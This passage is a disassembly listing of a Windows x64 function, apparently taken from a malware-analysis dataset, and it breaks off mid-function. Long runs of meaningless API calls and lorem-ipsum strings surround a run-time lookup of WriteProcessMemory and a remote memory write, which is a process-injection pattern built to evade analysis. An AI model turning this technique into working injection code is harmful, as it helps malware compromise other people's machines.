Function at 0x4032ff
Capabilities:
Clear file content
Set current directory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xb8
mov rax, qword [0x004cacb0]
mov qword [rsp + 0x108], rdx
cmp dword [rax], 0
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x110], r8
mov qword [rsp + 0x118], r9
je 0x40396f
mov ecx, 0x7be46a55
call fcn.00414620
mov rdx, qword [0x004ca720]
mov rsi, qword [0x004caea0]
lea rcx, str.EzekielWisozkSr
mov r15, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov dword [rdx], eax
mov rax, qword [0x004ca7a0]
mov edx, dword [rsi]
mov dword [rax], 0xc413444f
mov rax, qword [0x004ca300]
mov dword [rax], edx
xor edx, edx
call r15
mov r13, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Molestiae_laudantium_vero_in_repellat_illum_quisquam_sed
call r13
mov rbx, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call rbx
mov r11, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov edx, dword [rsi]
xor ecx, ecx
mov rax, qword [str.7U5]
mov qword [rsp + 0x68], r11
mov dword [rax], edx
xor edx, edx
call r11
mov rsi, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call rsi
mov rax, qword [0x004cab30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xdab5bef9
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004cae20]
mov rdi, qword [0x004caa10]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
call rsi
mov ecx, 0xe14a283e
mov dword [rdi], 0x931d8c13
call fcn.00414620
mov rdx, qword [0x004ca990]
mov rbp, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca1d0]
mov edx, dword [rax]
mov rax, qword [0x004ca4e0]
mov dword [rax], edx
call rbp
mov rdi, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.MarielleSchuppe
lea rcx, str.ImogeneBrown
call rdi
lea rdx, str.MissPatriciaZiemannSr
lea rcx, str.Ut_tempora_earum_maiores_maxime_reprehenderit_provident
call rdi
mov r14, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call r14
mov r10, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x78], r10
call r10
mov rax, qword [0x004ca9d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf60]
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rdx], eax
call rdi
mov r12, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
xor edx, edx
lea rcx, str.Voluptas_dolore_et
call r15
xor ecx, ecx
call rsi
mov rax, qword [0x004ca340]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca370]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
mov qword [rsp + 0x58], rax
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
call rbp
mov rax, qword [0x004ca520]
lea rcx, str.EvieJenkins
mov dword [rax], 0xb2adb6b9
call r13
xor ecx, ecx
call rbp
mov rax, qword [0x004ca6a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7c0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov qword [rsp + 0x60], rax
call rax
mov ecx, 0x830bc73b
call fcn.00414620
mov rcx, qword [0x004ca380]
mov dword [rcx], eax
mov ecx, 0x4c2748d6
call fcn.00414620
mov rcx, qword [0x004ca9d0]
mov dword [rcx], eax
xor ecx, ecx
call rsi
mov r9, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.Sit_iure_harum_labore_nostrum_labore
mov qword [rsp + 0x70], r9
call r9
mov rax, qword [0x004ca530]
mov r11, qword [rsp + 0x68]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cada0]
mov dword [rax], edx
mov rax, qword [0x004caae0]
mov edx, dword [rax]
mov rax, qword [0x004caa90]
mov dword [rax], edx
xor edx, edx
call r11
xor edx, edx
xor ecx, ecx
call rbx
mov rsi, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Exercitationem_dolor_dolores
call rsi
mov r11, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov qword [rsp + 0x68], r11
call r11
mov rax, qword [0x004cab10]
mov r9, qword [rsp + 0x70]
xor ecx, ecx
lea r8, str.AudreyGoodwin
mov edx, dword [rax]
mov rax, qword [0x004ca690]
mov dword [rax], edx
xor edx, edx
call r9
mov ecx, 0xab09fd0a
call fcn.00414620
mov rdx, qword [0x004ca9b0]
mov ecx, 0xea04692e
mov dword [rdx], eax
mov rax, qword [0x004caec0]
mov edx, dword [rax]
mov rax, qword [0x004ca220]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca240]
mov rcx, qword [0x004ca7e0]
mov dword [rdx], eax
mov rax, qword [0x004ca270]
mov eax, dword [rax]
mov dword [rcx], eax
lea rcx, str.Voluptas_maiores_mollitia_sequi
call rsi
xor ecx, ecx
call rdi
xor ecx, ecx
call r14
mov rax, qword [0x004ca5b0]
xor r9d, r9d
xor r8d, r8d
mov r10, qword [rsp + 0x78]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x5c1a9e47
call r10
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
call r14
mov rax, qword [0x004ca1f0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cae70]
mov dword [rax], edx
call rbp
mov rax, qword [0x004cae60]
lea rcx, str.ProfJoeHerman
mov edx, dword [rax]
mov rax, qword [str.Z2iy]
mov dword [rax], edx
call r13
xor edx, edx
xor ecx, ecx
call r12
mov ecx, 0x777ca737
call fcn.00414620
mov rdx, qword [0x004cad70]
mov ecx, 0x3548ad2c
mov dword [rdx], eax
mov rax, qword [0x004cadc0]
mov dword [rax], 0xd7a9bec8
mov rax, qword [0x004ca7e0]
mov dword [rax], 0x272b7783
mov rax, qword [0x004caf80]
mov dword [rax], 0x31928c16
call fcn.00414620
mov rdx, qword [0x004ca3f0]
lea rcx, str.Exercitationem_necessitatibus_nobis
mov dword [rdx], eax
call rsi
xor ecx, ecx
call rbp
xor edx, edx
lea rcx, str.Beatae_repudiandae_odio_enim_error
call r15
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
call r14
xor ecx, ecx
call rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x50]
call rax
lea rcx, str.Enim_illo_sit_sit_vero_aut
call r13
mov ecx, 0xa73e8578
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca820]
mov dword [rdx], eax
mov rax, qword [0x004ca1a0]
mov edx, dword [rax]
mov rax, qword [0x004ca570]
mov dword [rax], edx
mov rax, qword [0x004ca1b0]
mov edx, dword [rax]
mov rax, qword [0x004ca3c0]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004cab50]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caa00]
mov dword [rax], edx
call rdi
mov r11, qword [rsp + 0x68]
xor ecx, ecx
call r11
mov rax, qword [0x004ca380]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca610]
mov dword [rax], edx
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
call r12
xor edx, edx
xor ecx, ecx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rbp, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbp
mov rax, qword [0x004caef0]
xor ecx, ecx
mov dword [rax], 0x57c516c3
call rdi
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004caca0]
lea rcx, str.Aut_pariatur_aut
mov dword [rax], 0xb3abbf23
mov rax, qword [0x004cac40]
mov edx, dword [rax]
mov rax, qword [0x004ca5c0]
mov dword [rax], edx
call rsi
mov rax, qword [0x004caaa0]
mov ecx, 0x9d4c6e0e
mov edx, dword [rax]
mov rax, qword [0x004ca700]
mov dword [rax], edx
call fcn.00414620
mov rdi, qword [0x004caae0]
mov ecx, 0x15ff3678
mov dword [rdi], eax
call fcn.00414620
mov rdx, qword [0x004cad80]
mov dword [rdx], eax
mov rax, qword [0x004cac20]
mov dword [rax], 0xa071653d
mov rax, qword [0x004ca580]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae10]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca280]
mov dword [rax], 0xa1243721
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rax, qword [0x004cae40]
xor edx, edx
xor ecx, ecx
mov rdi, qword [0x004ca340]
mov eax, dword [rax]
mov dword [rdi], eax
call rbx
lea rcx, str.GaetanoYostIII
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbp
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004cae80]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xb319f9b7
call r12
mov rax, qword [rsp + 0x118]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1000
mov rcx, qword [rsp + 0x100]
lea r8, [rax + 0x80]
call fcn.004124e5
mov qword [rsp + 0x50], rax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x403e7b
mov rdi, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.PrincessRatke
call rdi
mov r11, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov qword [rsp + 0x60], r11
call r11
mov ecx, 0x3fc2c7c6
call fcn.00414620
mov rbp, qword [0x004ca2d0]
mov r14, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rbp], eax
call r14
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
mov r15, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
call r15
mov rax, qword [0x004ca740]
xor edx, edx
xor ecx, ecx
mov rbx, qword [sym.imp.KERNEL32.dll_SetCommMask]
mov dword [rax], 0x53914aa
call rbx
mov ecx, 0x279d728e
call fcn.00414620
mov rdx, qword [0x004ca520]
xor ecx, ecx
mov rsi, qword [0x004ca500]
mov r12, qword [sym.imp.KERNEL32.dll_OpenEventA]
lea r8, str.Delectus_voluptatem_quod_quia_voluptate_corporis
mov dword [rdx], eax
mov rax, qword [0x004cab70]
xor edx, edx
mov eax, dword [rax]
mov dword [rsi], eax
call r12
mov rax, qword [0x004cae80]
mov dword [rax], 0x290557b9
mov rax, qword [0x004caa50]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca440]
mov r13, qword [0x004ca430]
mov dword [rdx], eax
mov rax, qword [0x004ca340]
mov edx, dword [r13]
mov dword [rax], 0x6144237f
mov rax, qword [0x004ca4c0]
mov dword [rax], edx
mov rax, qword [0x004ca420]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca630]
xor r8d, r8d
xor ecx, ecx
mov rsi, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov dword [rdx], eax
xor edx, edx
call rsi
lea rcx, str.MissFayVonV
call rdi
mov rax, qword [0x004ca330]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca450]
mov dword [rax], edx
mov rax, qword [0x004ca3a0]
mov dword [rax], 0xe9b11f41
call r15
mov rax, qword [0x004cadd0]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
mov dword [rbp], 0x29105f95
xor r8d, r8d
mov rbp, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
xor ecx, ecx
mov dword [r13], eax
call rbp
mov r13, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call r13
mov ecx, 0xbc15eeb4
call fcn.00414620
mov rdx, qword [0x004ca560]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cac00]
xor edx, edx
mov dword [rax], 0xe36fe48a
call rsi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca3e0]
mov dword [rax], 0x1f6cf9d4
mov rax, qword [0x004cad60]
mov ecx, dword [rax]
call fcn.00414620
mov r10, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rdx, qword [0x004ca4d0]
xor ecx, ecx
mov qword [rsp + 0x58], r10
mov dword [rdx], eax
xor edx, edx
call r10
mov rax, qword [0x004ca710]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca650]
mov dword [rax], edx
xor edx, edx
call rbp
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004caad0]
mov rsi, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca7a0]
mov dword [rax], edx
call rsi
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004cac20]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x28d62194
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
call r14
xor edx, edx
xor ecx, ecx
call rbx
mov r15, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Unde_minima_ex_sed_atque_odit_ea
call r15
lea rdx, str.JensenDaniel
lea rcx, str.DameonRowe
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov r14, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
call r14
mov rax, qword [0x004cab10]
mov rcx, qword [0x004ca500]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rbx
xor ecx, ecx
call rsi
mov rax, qword [0x004caca0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov r13, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rax], 0x65673b64
mov rax, qword [0x004cad70]
mov edx, dword [rax]
mov rax, qword [0x004cae50]
mov dword [rax], edx
xor edx, edx
mov dword [rsp + 0x20], 0
call r13
lea rcx, str.Facilis_quia_doloribus_illo_debitis_sunt
call r15
mov rax, qword [0x004ca3f0]
mov ecx, dword [rax]
call fcn.00414620
mov r15, qword [0x004cac30]
mov dword [r15], eax
mov rax, qword [0x004ca1e0]
mov dword [rax], 0x4c131645
mov rax, qword [0x004caaa0]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca3e0]
mov r10, qword [rsp + 0x58]
xor edx, edx
mov dword [rcx], eax
mov rax, qword [0x004ca710]
xor ecx, ecx
mov dword [rax], 0xb0a8b98e
call r10
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004ca5c0]
lea r8, str.Non_sint_ipsa_commodi_voluptatibus
mov dword [rax], 0x35c17093
mov rax, qword [0x004cabd0]
mov edx, dword [rax]
mov rax, qword [0x004ca460]
mov dword [rax], edx
xor edx, edx
xor ecx, ecx
call r12
mov ecx, 0x73b71514
call fcn.00414620
mov rdx, qword [0x004ca470]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004caa60]
mov eax, dword [rax]
mov dword [r15], eax
call r14
mov rax, qword [0x004ca2b0]
mov r11, qword [rsp + 0x60]
xor ecx, ecx
mov dword [rax], 0x83b2cfd7
call r11
lea r8, str.MargueriteDuBuque
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004ca760]
mov r14, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.DrDarrinRauPhD
mov edx, dword [rax]
mov rax, qword [0x004ca5d0]
mov dword [rax], edx
xor edx, edx
call r14
mov ecx, 0x897c87fd
call fcn.00414620
mov r12, qword [0x004ca6e0]
xor ecx, ecx
mov dword [r12], eax
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rsi
mov rax, qword [0x004cab40]
xor ecx, ecx
mov dword [rax], 0x18ce3a82
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbp
lea rcx, str.Dignissimos_ipsam_nisi_eius_voluptatibus
call rdi
mov rax, qword [0x004ca530]
mov rdi, qword [0x004ca420]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004caef0]
mov edx, dword [rax]
mov rax, qword [0x004ca570]
mov dword [rax], edx
mov rax, qword [0x004ca210]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae30]
mov dword [rdx], eax
mov rax, qword [0x004caeb0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xaf5af6c4
mov rax, qword [str.Z2iy]
mov dword [rax], 0x11df3802
call rbx
mov dword [r12], 0x153e8f49
xor edx, edx
lea rcx, str.CarrieLowe
call r14
mov rax, qword [0x004ca5e0]
mov dword [rax], 0xa24f9192
lea rdx, str.WriteProcessMemory
lea rcx, [0x004c222f]
call fcn.00410845
lea rdx, [rsp + 0xa8]
mov r9, qword [rsp + 0x118]
mov r8, qword [rsp + 0x110]
mov qword [rsp + 0x20], rdx
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x50]
call rax
mov rax, qword [rsp + 0x118]
cmp qword [rsp + 0xa8], rax
jne 0x405229
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x7275
jne 0x404587
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [0x004caed0]
mov ecx, dword [rax]
call fcn.00414620
mov r10, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rdx, qword [0x004caaa0]
xor ecx, ecx
mov qword [rsp + 0x68], r10
mov dword [rdx], eax
call r10
mov ecx, 0xd0f38c53
call fcn.00414620
mov rdx, qword [0x004caec0]
mov rbx, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [0x004ca2a0]
mov ecx, dword [rax]
call fcn.00414620
mov r12, qword [0x004ca530]
mov rsi, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
mov dword [r12], eax
mov rax, qword [0x004ca1f0]
mov edx, dword [rax]
mov rax, qword [0x004ca570]
mov dword [rax], edx
xor edx, edx
call rsi
mov r14, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.GiuseppeZboncak
call r14
xor r9d, r9d
xor r8d, r8d
mov r15, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov rdi, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004ca280]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca2f0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
mov rax, qword [0x004ca310]
xor ecx, ecx
mov dword [rax], 0xe21b0d8
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call rdi
mov rbp, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
call rbp
mov rax, qword [0x004ca4d0]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [0x004caf40]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca9f0]
mov rcx, qword [0x004caed0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r15
mov ecx, 0x3cfac03c
call fcn.00414620
mov rcx, qword [0x004cac80]
mov r13, qword [0x004caf50]
mov dword [rcx], eax
mov rax, qword [0x004ca330]
mov ecx, 0xbc9caa6c
mov eax, dword [rax]
mov dword [r13], eax
call fcn.00414620
xor edx, edx
xor ecx, ecx
mov dword [r13], eax
mov rax, qword [rsp + 0x40]
call rax
mov ecx, 0xd099b6ae
call fcn.00414620
mov rcx, qword [0x004ca670]
mov dword [rcx], eax
mov rax, qword [0x004ca500]
mov rcx, qword [0x004ca320]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004caea0]
mov eax, dword [rax]
mov dword [r12], eax
mov rax, qword [0x004ca590]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac90]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cad20]
mov dword [rax], 0x84f14f74
mov rax, qword [0x004caa50]
mov edx, dword [rax]
mov rax, qword [0x004ca300]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rsp + 0x58], rax
call rax
mov ecx, 0x76bc1af4
call fcn.00414620
mov rdx, qword [0x004cae70]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
mov ecx, 0xab58ea6f
call fcn.00414620
mov rdx, qword [0x004ca990]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
call rbp
mov ecx, 0xca1826aa
call fcn.00414620
mov rdx, qword [0x004ca250]
mov r13, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov dword [rdx], eax
call r13
lea rcx, str.RachelWhite
call r14
mov r11, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x60], r11
call r11
xor ecx, ecx
call rbp
mov rax, qword [0x004ca2b0]
mov ecx, 0xca6db855
mov dword [rax], 0xd69c81b0
call fcn.00414620
mov rdx, qword [0x004cab60]
mov ecx, 0x355966b
mov dword [rdx], eax
call fcn.00414620
mov rcx, qword [0x004caf10]
mov dword [rcx], eax
mov rax, qword [0x004ca340]
mov rcx, qword [0x004ca630]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, 0x34f2c10c
call fcn.00414620
mov rdx, qword [0x004ca1d0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca670]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cade0]
mov r12, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.LaurieWindler
mov dword [rdx], eax
xor edx, edx
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov rax, qword [str.eNl.h_Q]
mov edx, dword [rax]
mov rax, qword [0x004ca760]
mov dword [rax], edx
mov rax, qword [0x004ca210]
mov dword [rax], 0xcf985a35
mov rax, qword [0x004cae80]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004cadf0]
mov r11, qword [rsp + 0x60]
xor edx, edx
mov dword [rcx], eax
mov rax, qword [0x004ca9e0]
xor ecx, ecx
mov dword [rax], 0x183d9da3
call r11
mov rax, qword [0x004cadf0]
xor ecx, ecx
mov dword [rax], 0x398e3eb0
mov rax, qword [0x004caf10]
mov edx, dword [rax]
mov rax, qword [0x004ca290]
mov dword [rax], edx
call rbx
mov rax, qword [0x004cae10]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x5bccab0c
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r15
mov rax, qword [0x004cabd0]
lea rcx, str.Labore_laborum_et_nobis_non_eveniet_illo
mov edx, dword [rax]
mov rax, qword [0x004cae20]
mov dword [rax], edx
call r14
mov rax, qword [0x004ca3d0]
mov rdx, qword [0x004ca630]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cab80]
mov edx, dword [rax]
mov rax, qword [0x004ca820]
mov dword [rax], edx
call rbp
mov rax, qword [0x004ca1f0]
mov rcx, qword [0x004ca9e0]
mov rdx, qword [0x004ca280]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca340]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call rdi
lea rdx, str.BradenPredovic
mov r14, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.AlfonsoZboncak
call r14
mov ecx, 0x4fe3c832
call fcn.00414620
mov rcx, qword [0x004ca280]
mov dword [rcx], eax
mov rax, qword [0x004caac0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad20]
mov r10, qword [rsp + 0x68]
xor ecx, ecx
mov dword [rdx], eax
call r10
xor ecx, ecx
call rbp
mov ecx, 0xad90eb9f
call fcn.00414620
mov rdx, qword [0x004caef0]
mov dword [rdx], eax
mov rax, qword [0x004cac80]
mov dword [rax], 0xa81e64b3
mov rax, qword [0x004ca810]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca220]
mov ecx, 0xb810f801
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca1b0]
mov ecx, 0x8c71c680
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca1e0]
xor ecx, ecx
mov dword [rdx], eax
call rbx
xor ecx, ecx
call r13
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
call rbp
mov rax, qword [0x004cac10]
lea rcx, str.Nam_ipsum_dolorum_consectetur_dolor_qui_ullam
mov edx, dword [rax]
mov rax, qword [0x004cac40]
mov dword [rax], edx
xor edx, edx
call r12
xor ecx, ecx
call r13
mov r13, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call r15
xor edx, edx
lea rcx, str.Optio_ad_eveniet_omnis_dolor
call r12
xor ecx, ecx
call rbx
mov rax, qword [0x004ca500]
lea rcx, str.Molestias_impedit_officia_neque_nemo_dolor_vero
mov dword [rax], 0xb4621e61
mov rax, qword [0x004ca3b0]
mov edx, dword [rax]
mov rax, qword [0x004ca5e0]
mov dword [rax], edx
lea rdx, str.MsLindaBuckridge
call r14
mov rax, qword [0x004caed0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca650]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov rax, qword [0x004cab50]
xor ecx, ecx
mov dword [rax], 0xadf17be8
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004ca710]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca4a0]
mov dword [rax], edx
call rbx
mov r12, qword [0x004ca6d0]
xor edx, edx
xor ecx, ecx
mov rax, qword [0x004caf40]
mov dword [r12], 0x867fb641
mov dword [rax], 0xe849f915
call rsi
mov rax, qword [0x004ca360]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca770]
mov dword [rax], edx
mov rax, qword [0x004ca320]
mov edx, dword [rax]
mov rax, qword [0x004cab70]
mov dword [rax], edx
xor edx, edx
call r13
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
call rbp
mov rax, qword [0x004caed0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xaaef2588
call rsi
mov rax, qword [0x004ca7f0]
mov eax, dword [rax]
mov dword [r12], eax
mov rax, qword [0x004cae50]
